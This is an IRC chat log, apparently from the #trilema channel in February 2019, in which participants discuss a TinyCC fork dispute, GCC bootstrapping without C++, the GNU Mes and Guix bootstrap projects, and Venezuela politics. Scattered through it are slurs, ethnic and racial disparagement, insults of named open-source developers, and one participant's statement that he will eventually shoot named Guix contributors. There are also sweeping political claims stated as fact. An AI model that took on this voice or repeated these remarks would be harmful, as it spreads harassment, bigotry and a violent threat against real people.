flies", http://btcbase.org/log-search?q=plowing%20flies 1898508;1550717776;mircea_popescu;"(People sent me bug reports about the 0.9.24 release. Yeah, that release contained a lot of code copied out of my tree into CVS, but the release was based on CVS, not on my tree.) By 2008 as CVS sank into obsolecense, TCC had clearly decided to go down with the ship. No matter how much work I put into my fork it would never eclipse the "official" tcc project (which could of course read my code to advance their tree)." 1898509;1550717789;mircea_popescu;basically, the cunts were just taking dood's patches and dropping them in their toilet. 1898510;1550717812;mircea_popescu;"hen I stopped work on my fork, the other project stopped, but when I started up again, so did they. All I was doing was keeping the CVS tree just active enough to exclipse mine, and I was tired of it." 1898511;1550717822;asciilifeform;not even clear, from this telling, which the cunts and which the dood with patches 1898512;1550717830;asciilifeform;cuz, see, no v. 1898513;1550717853;asciilifeform;it resembles that story with rms & lmi 1898514;1550717880;asciilifeform;mircea_popescu: is the quoted item bellard ? or sumbodyelse 1898515;1550717903;mircea_popescu;i believe rob landley. 1898516;1550717918;*;asciilifeform has nfi who is landley 1898517;1550717949;mircea_popescu;http://www.landley.net/ << dood. http://www.landley.net/code/tinycc/ << sauce of quotes. 1898518;1550717975;asciilifeform;aa 1898519;1550717992;mircea_popescu;ers side of the great bazaar brawl. 1898520;1550718014;asciilifeform;http://lists.gnu.org/archive/html/tinycc-devel/2008-09/msg00013.html << apparently 'My objection all along has been that CVS is not a real source control system, and no modern project should be burdened with it' etc 1898521;1550718020;mircea_popescu;anyway, guy did busybox, basically. 1898522;1550718056;asciilifeform;i dunget why he gives a fuck re 'eclipsed' tho 1898523;1550718087;asciilifeform;wainot run along with his own patch chain, not giving fuck re other end 1898524;1550718094;mircea_popescu;http://phuctor.nosuchlabs.com/gpgkey/9DC9F3BB2B585BD6595854875C7BAFED9AB3639EC8602A8BB469829C8390776C << for lulz. 1898525;1550718106;mircea_popescu;because he's a man alone ? 1898526;1550718106;asciilifeform;lol! 1898527;1550718113;feedbot;http://trilema.com/2019/uccellacci-e-uccellini/ << Trilema -- Uccellacci e uccellini 1898528;1550718194;mircea_popescu;anyway, has a shitty html blog, all the symptoms people go through in that quarter or two between when they get the republic illumination and when they become actually useful/productive. 1898529;1550718200;mircea_popescu;except in his case it's been ongoing for decade+ 1898530;1550718211;mircea_popescu;but, if looking for more targets to practice your email curse... 1898531;1550718247;asciilifeform;i'ma roust him when we get own tccism going 1898532;1550718306;mircea_popescu;There were functions named g() and o() <<< bwahahaha. 1898533;1550718381;asciilifeform;'My wife's name is Fade. We got married at Penguicon 2007. Fade's boss Steve Jackson officiated, and Eric Raymond was best man. (The wedding fit into a 1 hour panel slot and was moved once so as not to conflict with an Elizabeth Bear panel Fade wanted to attend, and a Charlie Stross panel Steve wanted to attend. Yes, we're all that geeky.)' 1898534;1550718403;*;asciilifeform does not even know what to add to ~that~.. 1898535;1550718443;mircea_popescu;Someday if I get back to this topic, I want to glue either sparse or the tcc front end to qemu's tcg back end and produce a new compiler that A) 1898536;1550718443;mircea_popescu;supports all the targets qemu does, B) can build linux and busybox and uClibc and itself (thus providing a self-bootstrapping system; I'd upgrade busybox to have missing bits like "make"). << maybe HE could be doing the tcc work, at any rate. 1898537;1550718471;asciilifeform;iirc classic tcc built self + kernel 1898538;1550718539;asciilifeform;mircea_popescu: if you can muster the juice, wainot try an' wake him . iirc mircea_popescu has a ~100% 1shot 1kill record for these. 1898539;1550718642;*;asciilifeform brb,meatsystems 1898540;1550732517;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-september-and-october-1715-account-of-books-ii/ << Bimbo.Club -- Philosophical Transactions. For the months of September and October, 1715. - Account of Books - II. 1898541;1550768127;asciilifeform;in other olds, http://lists.gnu.org/archive/html/tinycc-devel/2005-09/msg00054.html << report re how gcc built with tcc ( spoiler : ancient gcc, and still required some patching ) 1898542;1550768482;bvt;hi, asciilifeform: did you see this https://www.gnu.org/software/mes/ ? 1898543;1550768505;asciilifeform;nope 1898544;1550768516;asciilifeform;loox potentially interesting tho. bvt didja try it ? 1898545;1550768560;bvt;not yet, but can give it a shot sometime next week 1898546;1550768632;asciilifeform;i admit, will be surprised if it actually does what's printed on the box, and still i never heard of it 1898547;1550768651;asciilifeform;but won't complain, pleasant surprises are few in life 1898548;1550768765;asciilifeform;https://www.gnu.org/software/mes/manual/mes.html << subj docs, for the l0gz 1898549;1550768834;bvt;it seems to be quite a new item, iirc less than a year old. i'd expect it does not support arm. can't say anything about bugs without trying out. 1898550;1550768891;asciilifeform;ok this didn't take long... claims to 'bootstrap from 500 byte assembler', in opening page, but then : 'GNU Guile, version 2.0.13 or later, including 2.2.x; GNU Make. NYACC, 0.86.0 is known to work. GCC’s gcc, version 2.95.3 or later.' 1898551;1550768945;asciilifeform;( sect. 2.1 in linked doc ) 1898552;1550769015;asciilifeform;bvt: imho still worth a test-fire, i'm curious if even given the stated conditions the thing runs 1898553;1550769086;asciilifeform;other interesting claims, in https://bootstrappable.org/projects.html we find that 'The C and C++ compilers of the GNU Compiler Collection make up the foundation of many free software distributions. Current versions of GCC are written in C++, which means that a C++ compiler is needed to build it from source. GCC 4.7 was the last version of the collection that could be built with a plain C compiler' 1898554;1550769099;asciilifeform;^ is this troo ? cuz if yes, possibly we're on the 'wrong' gnat.. 1898555;1550769348;bvt;i have seen reports of this, but never verified myself. my understanding is that there is a slow c++zation of gcc: i backported one gcc patch for my home system from 6 to 4.9, this involved removing c++ chunks. 1898556;1550769372;asciilifeform;bvt: q is whether there is cppism in the 4.9. 1898557;1550769379;asciilifeform;if there is, it must go. 1898558;1550769419;bvt;but version 4.9 looked healthy (i.e. plain c, did not see any cpp code there). i had a look at a single file, though, so this is no guarantee. 1898559;1550769435;asciilifeform;linked pg claims '4.7 last'. hence q. 1898560;1550769530;bvt;i have also seen a one guy at suckless complaining about this back in the day: https://lists.suckless.org/dev/1605/28871.html 1898561;1550769550;asciilifeform;a quick look at the ave1gnat src reveals ~2dozen .cpp , but they all look to be part of the cpp test suite 1898562;1550769560;asciilifeform;so entirely possible that the '4.7' thing is disinfo 1898563;1550769675;asciilifeform;lotsa .cc ( also cpp ) , but not clear that they're part of gcc proper, rather than cpp standard lib. will require a proper walk (or , alternatively, to rebuild the thing with flags banning cppism and see if barfs ) 1898564;1550772541;asciilifeform;via bvt's link : '...versions of GCC prior to 4.8 also allow bootstrapping with a ISO C89 compiler and versions of GCC prior to 3.4 also allow bootstrapping with a traditional (K&R) C compiler...' 1898565;1550772573;asciilifeform;based on looking at the src, ^ appears to be troo re ave1's, and the claim on bootstrappable.org -- disinfo 1898566;1550777160;feedbot;http://qntra.net/2019/02/usgalphabetgoogle-claim-they-intended-to-declare-secret-microphones-existence-actually-waited-until-other-people-found-it-now-attempting-to-spam-over-their-treachery/ << Qntra -- USG/...ogle Claim They Intended To Declare Secret Microphone's Existence, Actually Waited Until Other People Found It, Now Attempting To Spam Over Their Treachery 1898567;1550796902;feedbot;http://www.loper-os.org/?p=3049 << Loper OS -- X-Ray Microscopy Kindergarten. 1898568;1550798915;asciilifeform;in entirely other olds, https://repo.or.cz/tinycc.git/blob_plain/HEAD:/arm64-gen.c << current (?) arm64 backend of tcc. ( nfi whether worx -- but pretty compact , as these go. ) 1898569;1550798937;asciilifeform;https://repo.or.cz/tinycc.git/blob_plain/HEAD:/x86_64-gen.c << ditto, x64. 1898570;1550799696;asciilifeform;"мазать уже можно..."(tm)(r) 1898571;1550803788;BingoBoingo; http://www.loper-os.org/?p=3049 << Loper OS -- X-Ray Microscopy Kindergarten. << Very Pornographic now 1898572;1550812500;asciilifeform;BingoBoingo: lol 1898573;1550812537;asciilifeform;BingoBoingo: that's prolly last 1 for a while, it's just about the limit of what can be done with the dentist 35mm film 1898574;1550812767;asciilifeform;( i suspect it aint the best 35mm film either, and the 'monobath' developer worsens the already pretty severe grain.. ) 1898575;1550812891;asciilifeform;the win was that it was fast -- no darkroom , expose the little enema-like thing it comes in, then manually masturbate it for min or so, wash, and scan. 1898576;1550812936;asciilifeform;https://www.dentalkart.com/eco.html << subj. 1898577;1550812939;*;asciilifeform bbl 1898578;1550843885;spyked;re http://btcbase.org/log/2019-02-18#1897845 : I obtained a ascii-text-only copy of the gutenberg.org archive and it weighs ~18GB; lzma'ed archive of the same is 4.2GB, will post a link in the following days 1898579;1550843885;a111;Logged on 2019-02-18 02:58 asciilifeform: http://btcbase.org/log/2019-02-17#1897404 << before this gets lost in the chaos of gcc vivisections -- spyked , would be interesting to pry apart the zips & deduplicate , see what the actual text mass adds up to 1898580;1550846254;BingoBoingo;asciilifeform: The grain just makes it artsy porn 1898581;1550846261;BingoBoingo;spyked: Sweet 1898582;1550851813;BingoBoingo;And now the local news is in a panic about FISH! Pirannahs in Salto and "pez sapo" on the "angry beach" in Punta del Este 1898583;1550853149;asciilifeform;in other hilarities, usg 'humanitarian convoy' set to break through vz border some time this weekend 1898584;1550853191;asciilifeform;( i.e. coupla-km column of trucks fulla ak & ammo ) 1898585;1550853283;*;asciilifeform wonders if that's where mircea_popescu went, to watch from front row.. 1898586;1550853308;BingoBoingo;Border with Brazil is closed, border with Colombia set to close. 1898587;1550853367;BingoBoingo;Banco Bandes Uruguay (a subsidary of the Venezuelan Development bank) is still functioning normally. 1898588;1550854205;feedbot;http://qntra.net/2019/02/us-pantsuit-precandidate-damned-by-father-for-stereotyping-jamaicans/ << Qntra -- US Pantsuit Precandidate Damned By Father For Stereotyping Jamaicans 1898589;1550854786;BingoBoingo;^ Obama's dad never criticised him for Afropessimism 1898590;1550854838;asciilifeform;eh so it won't be ~that~ sow, will be some other sow 1898591;1550854855;asciilifeform;they have 9000 1898592;1550856255;BingoBoingo;This sow is Jamaican/dotIndian, still frontrunner 1898593;1550861238;asciilifeform;meanwhile, in dead links, http://btcbase.org/log/2016-11-18#1569984 1898594;1550861238;a111;Logged on 2016-11-18 21:16 gabriel_laddel: masamune-machines.myshopify.com 1898595;1550886884;BingoBoingo;http://archive.is/Cb06Q << 12 arrests over 72 grams of drugs during an incursion by Uruguayan police into the separatist republic of Cerro 1898596;1550890988;feedbot;http://qntra.net/2019/02/advertisers-flee-youtube-after-pedophile-commenter-ring-exposed/ << Qntra -- Advertisers Flee Youtube After Pedophile Commenter Ring Exposed 1898597;1550894573;asciilifeform;oh hey wb mircea_popescu 1898598;1550894935;mircea_popescu;http://btcbase.org/log/2019-02-21#1898544 yeah, if it weren't [http://lists.gnu.org/archive/html/bug-mes/][fucking dead]. lotta these http://trilema.com/2014/bitcoin-in-argentina-exactly-nothing-to-do-with-the-derps/#selection-197.6-197.28 slash http://trilema.com/2018/must-suck-to-be-one-of-you-average-guy-with-a-great-sense-of-humor-losers-seriously-now/#footnote_0_78439 etc littering the internets. 1898599;1550894935;a111;Logged on 2019-02-21 17:01 asciilifeform: loox potentially interesting tho. bvt didja try it ? 1898600;1550894939;mircea_popescu;hey there asciilifeform 1898601;1550894971;*;mircea_popescu has spent the past two days @world's largest hotsprings, horseback riding etc, is now looser than an amateur's synapse. 1898602;1550894996;asciilifeform;sounds like a++ day off from us glued-to-terminal snoarpeoples 1898603;1550895040;*;asciilifeform spend 2d digging in tcc and a (sad) attempt at crystallography 1898604;1550895051;mircea_popescu;also guile is an unmitigated (and unmitigatable) piece of shit, if memory serves 1898605;1550895075;asciilifeform;it is ! it's the turd the gimp folx replaced ye olde tinyscheme with 1898606;1550895089;asciilifeform;( tinyscheme also pretty crufty but at least ~small~ ) 1898607;1550895112;mircea_popescu;pretty sure my gimp runs ye olde scheme not guile. 1898608;1550895123;asciilifeform;well mine does. but i built in 2011 1898609;1550895124;asciilifeform;nfi re nao 1898610;1550895138;mircea_popescu;a yeah. this might be ... yeah, 2007 or some shit. 1898611;1550895164;mircea_popescu;GIMP 2.6.8 Copyright © 1995-2008 1898612;1550895237;mircea_popescu;http://btcbase.org/log/2019-02-21#1898554 << afaik was "desired" by the pantsuit core + amateur enablers starting maybe then, but that desire only became factual with 5 branch. 1898613;1550895237;a111;Logged on 2019-02-21 17:11 asciilifeform: ^ is this troo ? cuz if yes, possibly we're on the 'wrong' gnat.. 1898614;1550895246;mircea_popescu;this afaik is weaker than concrete, tho. 1898615;1550895251;asciilifeform;mircea_popescu: my dig confirms 1898616;1550895256;mircea_popescu;aok. 1898617;1550895270;asciilifeform;did not find any hard-dependency on cpp in 4.9 other than when it builds cpp standard lib 1898618;1550895290;mircea_popescu;that has to be there, yeah. might be some flag faggotry tho, i am foggy. 1898619;1550895322;*;asciilifeform realizes that he never actually tried to build a gcc w/out cppism support. this really gotta be tried 1898620;1550895339;mircea_popescu;sure. 1898621;1550895584;mircea_popescu;http://btcbase.org/log/2019-02-21#1898560 << http://btcbase.org/log-search?q=%22suckless%22 turns out ~little and there's apparently no mention ever on trilema, yet it's firmly classified under [http://trilema.com/2016/cat-vorg-adnotated/][cat-v] in my head. wtf happened here, did we ever say hi or anything ? 1898622;1550895584;a111;Logged on 2019-02-21 17:18 bvt: i have also seen a one guy at suckless complaining about this back in the day: https://lists.suckless.org/dev/1605/28871.html 1898623;1550895601;asciilifeform;mircea_popescu: iirc 'suckless' == cat-v 1898624;1550895610;mircea_popescu;oh is it ? 1898625;1550895615;asciilifeform;was their proj title 1898626;1550895626;mircea_popescu;a ok then. 1898627;1550895634;mircea_popescu;i was afraid i dropped a thread there for a moment. 1898628;1550895683;asciilifeform;nope, it's the item mircea_popescu did full postmortem on, linked above 1898629;1550895690;mircea_popescu;kk 1898630;1550895709;mircea_popescu;see, i'm far from that fabled 100% foolproof etc. 1898631;1550895739;mircea_popescu;stepped in something awful's wide open jaw with both feet, all i got in return was an "oww!!!" and so on. 1898632;1550895769;mircea_popescu;there's really a lengthy list of these, "o noes, someone's fundamentally not as fucked in the head as us ?! O GOD SAVE US FROM SUCH HORRORS!!!" 1898633;1550895867;asciilifeform;one might naively picture heathens would jump at 'i bring martian tech and +9000 strength of will' etc. but nope. 'we built a++ straw plane, cargo when' 1898634;1550896021;mircea_popescu;all the way back to fucking [http://trilema.com/2014/the-irc-world-is-a-big-but-very-flat-place/][2014]. 1898635;1550896046;mircea_popescu;actually, do you recall those "business" imbeciles discussing "the superior alternative to phuctor" and "what to do in case of divorce" roth-blabla in the same breath ? 1898636;1550896059;asciilifeform;most recently in july iirc 1898637;1550896064;asciilifeform;'mit phuctor' 1898638;1550896107;mircea_popescu;was some other pos with some retard defending it in the usual terms of "not nice words" or some similar bs. aaanyways. 1898639;1550896159;asciilifeform;aa that was in the catv dig 1898640;1550896222;asciilifeform;didn't make it into the [http://trilema.com/2016/cat-vorg-adnotated/][piece], but was in the chan 1898641;1550896247;*;asciilifeform remembers this purely from head, but prolly there's a log somewhere 1898642;1550896267;mircea_popescu;hmmm... i dun think so tbh, was a DIFFERENT set of these equally indistinguishable amateur shitheads. 1898643;1550896290;asciilifeform;hrm. was definitely summer of '17 tho 1898644;1550896295;mircea_popescu;#finance or some bs. 1898645;1550896349;mircea_popescu;you recall, dude had meltdown over how his brain can't function with "fuckgoats" the string being involved. 1898646;1550896355;asciilifeform;aha! 1898647;1550896372;mircea_popescu;anyways. 1898648;1550896396;*;asciilifeform recalls also pete_d's attempts to sell a 'rebrand' of fuckgoats somewhere 1898649;1550896462;mircea_popescu;http://btcbase.org/log/2019-02-22#1898578 << sweet. 1898650;1550896462;a111;Logged on 2019-02-22 13:58 spyked: re http://btcbase.org/log/2019-02-18#1897845 : I obtained a ascii-text-only copy of the gutenberg.org archive and it weighs ~18GB; lzma'ed archive of the same is 4.2GB, will post a link in the following days 1898651;1550896473;mircea_popescu;asciilifeform possibly driven by that exact fox's tail swing. 1898652;1550896480;mircea_popescu;because this is what the crabs do to each other. 1898653;1550896550;mircea_popescu;http://btcbase.org/log/2019-02-22#1898583 <<-->> http://trilema.com/2013/a-very-unfair-perspective/#selection-213.222-217.1 1898654;1550896550;a111;Logged on 2019-02-22 16:32 asciilifeform: in other hilarities, usg 'humanitarian convoy' set to break through vz border some time this weekend 1898655;1550896554;mircea_popescu;freedom fighters, amirite. 1898656;1550896564;mircea_popescu;better freedom fight caracas than baltimore, in any case. 1898657;1550896593;asciilifeform;same algo since, when, korean war, they have this 1 broken record. 1898658;1550897114;*;BingoBoingo heard derp derp invasion 23rd rumors, but... no indications yet 1898659;1550897194;asciilifeform;BingoBoingo: guiado 'requested aid'; maduro banned 'aid' from border; the open q is, will shoot or not 1898660;1550897227;BingoBoingo;Derpident also claimed power to order US military action 1898661;1550897254;BingoBoingo;But shortly after Bolton started fussing about Nicaragua 1898662;1550897282;asciilifeform;BingoBoingo: supposedly whole usg orchestra, inc rooftop sniper brigade, already in colombia waiting for marching order 1898663;1550897306;BingoBoingo;Declared Cuba/Nicaragua/Vzla new axis of "not listening to US" 1898664;1550897356;asciilifeform;wtf even ~is~ in nicaragua other than 'don bigote, no mata el perro!' 1898665;1550897375;BingoBoingo;asciilifeform: Artisinal gold mining is a thing in Vzla. Typical haul of an artisan gold op there is 10 grams of gold per man-month 1898666;1550897418;asciilifeform;klondike, eh 1898667;1550897428;BingoBoingo;I've been waiting to drop that factlet into a blog, but there it is. One man month of hard if not particularly efficient work ~500-600 a month 1898668;1550897444;asciilifeform;typical ex-sovok chip recycler nets similar 1898669;1550897457;asciilifeform;(without even having to sweat on equator) 1898670;1550897489;asciilifeform;e.g. the http://btcbase.org/log/2019-02-14#1896836 thing, iirc contains no fewer than 3g ~per~ 1898671;1550897489;a111;Logged on 2019-02-14 23:52 asciilifeform: in ru there are some decent microscopists ( not the 1 phf went to, but apparently others. ) for instance, very recently found that К1801 ( sovok 'pdp-11' single-chip ) was ~not~ in fact a photoclone of dec's (only the early '80s demo ver was!) but , turns out, entirely indigenous orc design, with coupla x ~fewer~ transistors and yet faster max clock 1898672;1550897508;asciilifeform;(this is why they're rare -- and not because asciilifeform bought'em all) 1898673;1550897509;BingoBoingo;A large part of what makes Vzla relatively VERY rich is... anti-malarials are a relatively recent invention 1898674;1550897742;BingoBoingo;But these folks aren't even digging up whole river beds california style yet 1898675;1550897778;asciilifeform;i suppose notion is, that they will soon, for chance at ticket to miami mecca 1898676;1550897791;asciilifeform;and under whip of 'humanitarian experts' 1898677;1550897880;BingoBoingo;Well, Miami may be Mecca but do Mangos grow in the streets and alleys? 1898678;1550898037;asciilifeform;i have nfi what was in the vhs propaganda tapes baked for south amer orcs, i only saw the ones for sovok 1898679;1550898046;asciilifeform;but evidently it worx 1898680;1550898207;asciilifeform;BingoBoingo: yer vz chix still sitting in warsawghetto^H^H^H^H^Hvz suburb , with grandmother , or wat 1898681;1550898237;mircea_popescu;asciilifeform entirely nothing. nicaragua is like biloxi. 1898682;1550898238;BingoBoingo;asciilifeform: She's still holed up with mom, the two dogs, cat, and six car garage 1898683;1550898329;BingoBoingo;Meanwhile the Peruana lost interest in New York when I point out "Hace Calor" outside at 32 degrees, "Hace Frio" inside at 24 degrees, and snow doesn't become possible until the number of degrees is less than zero 1898684;1550898335;mircea_popescu;but anyway, certainly a lot of interest in stripmining these days. 1898685;1550898434;mircea_popescu;http://btcbase.org/log/2019-02-22#1898584 << speaking of, you know TO THIS DAY they're lying to schoolchildren about lusitania content ? "we started ww1 through packing munitions in what we falsely called a civillian ship" still "unhappened" etc ? 1898686;1550898434;a111;Logged on 2019-02-22 16:33 asciilifeform: ( i.e. coupla-km column of trucks fulla ak & ammo ) 1898687;1550898467;asciilifeform;mircea_popescu: i got 1 better, in ameri-schooling they still peddle w. r. hearst's fiction re 'the maine' 1898688;1550898490;BingoBoingo;Hey, when Maduro actually get that aircraft carrier... 1898689;1550898492;asciilifeform;( not even to speak of kr, vietnam, etc. identical replay of algo ) 1898690;1550898494;mircea_popescu;lotta material in this vein. 1898691;1550898526;mircea_popescu;all the way to "iraq/syria/whatever BIONUCLEAR&CHEMICAL WEAPONS!!!!" 1898692;1550898603;asciilifeform;!#s kick the dog then shoot 1898693;1550898604;a111;6 results for "kick the dog then shoot", http://btcbase.org/log-search?q=kick%20the%20dog%20then%20shoot 1898694;1550898621;BingoBoingo;Colon Powell is still a major player in that young adult novel I started in 2010 when I lacked to experience to rightly attempt such a thing 1898695;1550898633;asciilifeform;http://btcbase.org/log/2016-08-13#1520455 << subj 1898696;1550898633;a111;Logged on 2016-08-13 14:20 asciilifeform: 'kick the dog till it bites, then shoot it' is standard anglo approach, from boer war, to ww2 japan, to every poor motherfucker like the one in link 1898697;1550898901;mircea_popescu;well, try to, at any rate. 1898698;1550898921;mircea_popescu;the "kicking", and increasingly more the "shooting" happening principally in the self-aimed navel-grazing devices., 1898699;1550899012;mircea_popescu;i can't recall the last time the eventual outcome had much to do with the us, tbh. i mean, syria obviously entirely unrelated to any usg claim to agency. but it's not clear their last victory did anything meaningful to iraq ; certainly never budged either korea or vietnam. the euros are exactly where they'd have been had germany won ww2. and so following. 1898700;1550899028;mircea_popescu;the last conflict with clear us agency would be the redskin elimination, i guess. 1898701;1550899267;BingoBoingo;I dunno that the redskins were eliminated so much as interbred with the imported german slaves to the point of disappearing 1898702;1550899341;mircea_popescu;right. 1898703;1550899432;BingoBoingo;Men died honorably in combat/gutter, women left to breed with the other chattle 1898704;1550899471;mircea_popescu;meanwhile in other lulz, "Guix---like other GNU/Linux distributions---is traditionally bootstrapped from a set of bootstrap binaries: Bourne shell, command-line tools provided by GNU Coreutils, Awk, Findutils, sed, and grep and Guile, GCC, Binutils, and the GNU C Library. Usually, these bootstrap binaries are "taken for granted." Taking these binaries for granted means that we consider them to be a correct and trustworthy see 1898705;1550899471;mircea_popescu;d for building the complete system. Therein lies a problem: the current combined size of these bootstrap binaries is about 250MB . Auditing or even inspecting these is next to impossible. For i686-linux and x86_64-linux, GuixSD now features a "Reduced Binary Seed" bootstrap (see the wip-bootstrap branch). We would like to say: "Full Source Bootstrap" and while we are working towards that goal it would be hyperbole to use that 1898706;1550899472;mircea_popescu; term for what we do now." 1898707;1550899508;mircea_popescu;"working" nothing, this is nude and rude "we will whitewash over republic, http://trilema.com/2015/on-how-the-factored-4096-rsa-keys-story-was-handled-and-what-it-means-to-you/ style". 1898708;1550899590;asciilifeform;mircea_popescu: there's a coupla of these 'going' atm 1898709;1550899605;mircea_popescu;not only i will negrate anyone who in any way participates in that shameless shitsoup, starting with janneke moron, but eventually also shoot them. 1898710;1550899607;asciilifeform;sorta like the various prb 1898711;1550899636;mircea_popescu;yaya, "If you're into social media, you can follow me on mastodon" etcetera, of course. 1898712;1550899700;mircea_popescu;in any case, the ownership of this entire thing is clearly established, and entirely nobody the fuck else outside of properly authorized republican hands may fucking touch it. 1898713;1550899731;mircea_popescu;let the morons/amateurs/menalone/etcetera crop stick to "freelancing", making websites, iphone apps and the rest of the cattle-adequate activities. 1898714;1550899762;mircea_popescu;sane computing stack not within their purview. 1898715;1550899774;BingoBoingo;Meanwhile in Para/Uru-rotary guay research https://expatbob.files.wordpress.com/2012/03/img_20120306_121401.jpg?w=614 1898716;1550899823;mircea_popescu;in case somehow http://trilema.com/2018/the-republic-without-mp/#selection-165.23-165.95 or "Rustics you were and rustics you stay" or etcetera didn't quite make the point plain enough. 1898717;1550899851;asciilifeform;lol cock inductor 1898718;1550900023;asciilifeform;mircea_popescu: i suspect the tards have nfi what is or could be 'sane stack' even if it bit'em. comical to watch, rather like a nigerian forger who dun know what colour benjie is even supposed to be 1898719;1550900099;BingoBoingo;Honestly, being here it took me a while to get used to that slighly different color the new benjis have that good old Jackson's don't 1898720;1550900147;BingoBoingo;But now I'm almost paraguayan in rejecting old benjis 1898721;1550900187;asciilifeform;BingoBoingo: iirc the new ones aint even magnetic anymoar 1898722;1550900215;*;BingoBoingo suspects Paraguay calling out bad series of benjis is what got them on US shitlist this century (as opposed to other times they got on US shitlist) 1898723;1550900326;BingoBoingo;asciilifeform: I have yet to find an abitab clerk making 12,000-18,000 pesos a month that studies the details of benjis in the way they study 1000 and 2000 pesos notes to make sure they aren't secretly Argentine pesos 1898724;1550900473;BingoBoingo;Studying the quadruple digit peso bills is standard procedure for any cashier when you are a new face. Studying the benjis... not so much 1898725;1550900496;asciilifeform;whothefuck forges orc scrip 1898726;1550900511;hanbot;mircea_popescu asciilifeform http://p.bvulpes.com/pastes/By0G8/?raw=true 1898727;1550900576;BingoBoingo;asciilifeform: Orcs? But the inspection appears to be less about forgery and more... Argentine and Uruguayo bills look alike in the high denominations 1898728;1550900636;BingoBoingo;High denominations being rougly 30 and 60 USD on the Uruguay side and 15 and 30 USD on the Argentine side 1898729;1550900690;asciilifeform;hanbot: got it. reminds me of http://btcbase.org/log/2018-11-09#1870372 , very similar . 1898730;1550900690;a111;Logged on 2018-11-09 14:39 asciilifeform: mircea_popescu do you know this fella ? http://dan.corlan.net 'Alexandru-Dan Corlan, MD, PhD' 'stochastic models of patient evolution and pharmacologic response' 'high performance computing and programming in R, Ada and CommonLisp' 1898731;1550900744;*;asciilifeform will have to sleep on hanbot's q; bbl 1898732;1550932487;mircea_popescu;asciilifeform precisely like nigerian forger. 1898733;1550932640;mircea_popescu;and in other news, apparently the girls will get me anything 1898734;1550932644;mircea_popescu;especially if their name's hanbot 1898735;1550935097;mircea_popescu;hanbot asciilifeform http://p.bvulpes.com/pastes/iloUK/?raw=true 1898736;1550936179;asciilifeform;mircea_popescu: loox pretty good imho 1898737;1550936250;mircea_popescu;in other lulz, this [http://lists.nongnu.org/archive/html/tinycc-devel/2011-09/msg00015.html][shit]'s hysterical. dja know what the anointed moron/official gnu eromenos' response to http://btcbase.org/log/2019-02-21#1898532 was ? "they're impossible to grep for because you don't know how to use grep." 1898738;1550936250;a111;Logged on 2019-02-21 03:05 mircea_popescu: There were functions named g() and o() <<< bwahahaha. 1898739;1550936265;asciilifeform;( 1 nitpick -- no bolix xrays yet, only target practice ; still waitin' for crate of largeformat film to show up ) 1898740;1550936311;mircea_popescu;right. 1898741;1550936319;mircea_popescu;"I do not trust Grischka's technical judgement, his committment to the project (I put way more time into my fork than he's put into the official version), his leadership abilities, or his organizational skills. I spent three years of my life improving this project (not just coding but documentation and testing and design and so on), and the result was esentially discarded at the whim of somebody who DIDN'T UNDERSTAND WHAT I W 1898742;1550936319;mircea_popescu;AS DOING. The fact the rest of you are now finally realizing that some of the problems I already solved years ago were, in fact, real issues, is mildly amusing to me in a morbid way. If you have competent developers on this lsit you don't NEED my patches, you can figure out how to do it from the _idea_ in a couple hours." << there, as good an epitaph FOSS could ever get. 1898743;1550936357;asciilifeform;lol! 1898744;1550936367;asciilifeform;really rms's lmi wars replay 1898745;1550936369;mircea_popescu;"we've managed to burn 20 years worldwime and in excess of 10k engineer man-years to reproduce an ad-hoc, informally-specified, bug-ridden, slow implementation of half of corporate land". 1898746;1550936400;mircea_popescu;asciilifeform or that time they got directx on its knees and then went ahead and gave opengl back. 1898747;1550936404;mircea_popescu;or or OR! 1898748;1550936405;mircea_popescu;fuckheads. 1898749;1550936452;mircea_popescu;and "cooperation". ALLLLLLLL trhe fucking problems of naive socialism, ALLLLL of them. 1898750;1550936530;mircea_popescu;because, obviously, in moron's eyes the problem wasn't socialism to begin with. i mean, mussolini tried, just didn't do it right. then hitler didn't do it right. stalin showed him how, but sadly also didn't do it right. but it's ok, roosevelt showed them how. and mao and trotsky and eventually rms. 1898751;1550936545;mircea_popescu;the problem's all these people who keep not getting it right, see. the problem with socialism is insufficient socialism!!! 1898752;1550936552;mircea_popescu;how the fuck can they be this fucking stupid already. 1898753;1550936905;asciilifeform;mega-'cooperation', these folx fight like two cannibals on lifeboat when given half a chance 1898754;1550937027;mircea_popescu;meanwhile in other great wins of the subnormal arepublic, https://duckduckgo.com/?q=savannah+cvs&t=ffsb&ia=maps 1898755;1550937046;asciilifeform;lol! 1898756;1550937092;asciilifeform;pretty sure the fsf folx still host the (last?) remaining cvs repos tho. 1898757;1550937099;mircea_popescu;"Welcome to Savannah, the software forge for people committed to free software:", but i'm not gonna link it. because fucking misnomers. 1898758;1550937140;asciilifeform;mircea_popescu: phunphakt, in '07 asciilifeform naively tried to get a repo hosted there. was ~turned down~ 1898759;1550937149;asciilifeform;cuz not fsfy enuff, or sumthing. 1898760;1550937162;mircea_popescu;"Latest News IP Address Changes posted by rwp, Thu 20 Dec 2018 08:53:05 PM UTC - 0 replies Mercurial hg moved to new server posted by agn, Thu 12 Jan 2017 03:07:50 PM UTC - 0 replies Bazaar bzr moved to new server posted by agn, Tue 10 Jan 2017 03:33:35 AM UTC - 0 replies" 1898761;1550937166;mircea_popescu;i didn't delete anything. 1898762;1550937205;mircea_popescu;there's literally nothing else happening going back years. 1898763;1550937233;mircea_popescu;asciilifeform probably because "Savannah has high project approval requirements and thus visitors can expect freedom-related qualities from projects hosted here (such as no proprietary dependencies). Moreover, there are no advertisements, thus you do not run the risk of getting an ad for a proprietary competitor on your project page." 1898764;1550937252;mircea_popescu;you see, THIS is what i'm fucking worried about, getting an add for a "proprietary competitor". cuz that's what we're fucking doing here. 1898765;1550937324;mircea_popescu;what the fuck must be going in through their skulls to view "advertisement spend from proprietary competitor on my page" as anything but a) a great lul and b) hey, nice, i'll be sure to buy more dog toys for the bitches out of THEIR MONEY 1898766;1550937337;asciilifeform;also gotta luvv how e.g. '3MB of autoconfolade' is somehow considered 'fleadom-related quality' 1898767;1550937429;mircea_popescu;cuz that's what they always did, enumerated badness. cuz insecure twits. cuz again and again, http://trilema.com/2014/on-the-superiority-of-monarchy-or-adnotations-to-why-the-worst-get-on-top/ problem. 1898768;1550937581;mircea_popescu;anyway, since for some inconceivable reason we're doing archeology in dung, here, the lulzy valinux-fsf moment : https://fsfe.org/news/2001/article2001-10-20-01.en.html 1898769;1550937623;asciilifeform;valinux << iirc esr's warcrime 1898770;1550937658;mircea_popescu;they have SUCH a fucking ridiculous, fucking obvious, structurally-stable passive-aggressive approach to things, jesus god. one can literally identify, tag and mark the 